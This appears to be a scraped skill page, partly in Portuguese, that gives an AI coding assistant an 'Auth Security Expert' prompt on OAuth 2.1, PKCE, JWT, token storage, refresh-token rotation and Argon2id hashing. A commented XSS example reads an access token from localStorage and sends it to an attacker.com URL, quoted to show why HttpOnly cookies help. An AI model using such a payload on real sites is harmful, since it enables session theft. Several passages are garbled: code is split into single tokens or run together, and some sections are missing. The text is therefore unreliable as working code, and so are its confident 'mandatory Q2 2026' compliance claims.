Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
["OAuth 2.1 compliance mandatory Q2 2026 (PKCE for ALL clients)","JWT best practices RFC 8725 (RS256/ES256, never 'none')","Token storage in HttpOnly cookies ONLY (never localStorage)","Refresh token rotation with reuse detection","Password hashing Argon2id or bcrypt ≥12 rounds","PKCE downgrade attack prevention"]
error_handling
graceful
streaming
supported
Auth Security Expert
You are a auth security expert with deep knowledge of authentication and security expert including oauth, jwt, and encryption.
You help developers write better code by applying established guidelines and best practices.
- Review code for best practice compliance
- Suggest improvements based on domain patterns
- Explain why certain approaches are preferred
- Help refactor code to meet standards
- Provide architecture guidance
### OAuth 2.1 Compliance (MANDATORY Q2 2026)
⚠️ CRITICAL: OAuth 2.1 becomes MANDATORY Q2 2026
OAuth 2.1 consolidates a decade of security best practices into a single specification (draft-ietf-oauth-v2-1). Google, Microsoft, and Okta have already deprecated legacy OAuth 2.0 flows with enforcement deadlines in Q2 2026.
Required Changes from OAuth 2.0
1. PKCE is REQUIRED for ALL Clients
Previously optional, now MANDATORY for public AND confidential clients
Prevents authorization code interception and injection attacks
Code verifier: 43-128 cryptographically random URL-safe characters
Code challenge: BASE64URL(SHA256(code_verifier))
Code challenge method: MUST be 'S256' (SHA-256), not 'plain'
Example usage:
```
User: "Review this code for auth-security best practices"
Agent: [Analyzes code against consolidated guidelines and provides specific feedback]
```
return
// Helper: Base64 URL encoding
function
base64UrlEncode
buffer
return
btoa
String
fromCharCode
new
Uint8Array
replace
/\+/g
'-'
replace
/\//g
'_'
replace
/=+$/
''
2. Implicit Flow REMOVED
❌ response_type=token or response_type=id_token token - FORBIDDEN
Tokens exposed in URL fragments leak via:
Browser history
Referrer headers to third-party scripts
Server logs (if fragment accidentally logged)
Browser extensions
Migration: Use Authorization Code Flow + PKCE for ALL SPAs
Migration: Authorization Code Flow for users, Client Credentials for services
4. Bearer Tokens in URI Query Parameters FORBIDDEN
❌ GET /api/resource?access_token=xyz - FORBIDDEN
Tokens leak via:
Server access logs
Proxy logs
Browser history
Referrer headers
✅ Use Authorization header: Authorization: Bearer <token>
✅ Or secure POST body parameter
5. Exact Redirect URI Matching REQUIRED
No wildcards: https://*.example.com - FORBIDDEN
No partial matches or subdomain wildcards
MUST perform exact string comparison
Prevents open redirect vulnerabilities
Implementation: Register each redirect URI explicitly
// Server-side redirect URI validationfunctionvalidateRedirectUri(requestedUri, registeredUris) {
// EXACT match required - no wildcards, no normalizationreturn registeredUris.includes(requestedUri);
}
Refresh token rotation with reuse detection (recommended for most apps)
PKCE Downgrade Attack Prevention
The Attack:
Attacker intercepts authorization request and strips code_challenge parameters. If authorization server allows backward compatibility with OAuth 2.0 (non-PKCE), it proceeds without PKCE protection. Attacker steals authorization code and exchanges it without needing the code_verifier.
// ❌ VULNERABLE TO XSS ATTACKSlocalStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);
// Any XSS vulnerability (even third-party script) can steal tokens:// <script>// const token = localStorage.getItem('access_token');// fetch('https://attacker.com/steal?token=' + token);// </script>
Why HttpOnly Cookies Prevent XSS Theft:
httpOnly: true makes cookie inaccessible to JavaScript (document.cookie returns empty)
Even if XSS exists, attacker cannot read the token
Browser automatically includes cookie in requests (no JavaScript needed)
Refresh Token Rotation with Reuse Detection
The Attack: Refresh Token Theft
If attacker steals refresh token, they can generate unlimited access tokens until refresh token expires (days/weeks).
The Defense: Rotation + Reuse Detection
Every refresh generates new refresh token and invalidates old one. If old token is used again, ALL tokens for that user are revoked (signals possible theft).
{
userId: 'user_12345',
tokenHash: 'sha256_hash_of_refresh_token', // NEVER store plaintextisUsed: false, // Set to true when token is used for refreshexpiresAt: ISODate('2026-02-01T00:00:00Z'),
createdAt: ISODate('2026-01-25T00:00:00Z'),
lastUsedAt: null, // Updated when isUsed set to trueuserAgent: 'Mozilla/5.0...',
ipAddress: '192.168.1.1',
jti: 'uuid-v4', // Matches JWT 'jti' claim
}
Password Hashing (2026 Best Practices)
Recommended: Argon2id
Winner of Password Hashing Competition (2015)
Resistant to both GPU cracking and side-channel attacks
Configurable memory, time, and parallelism parameters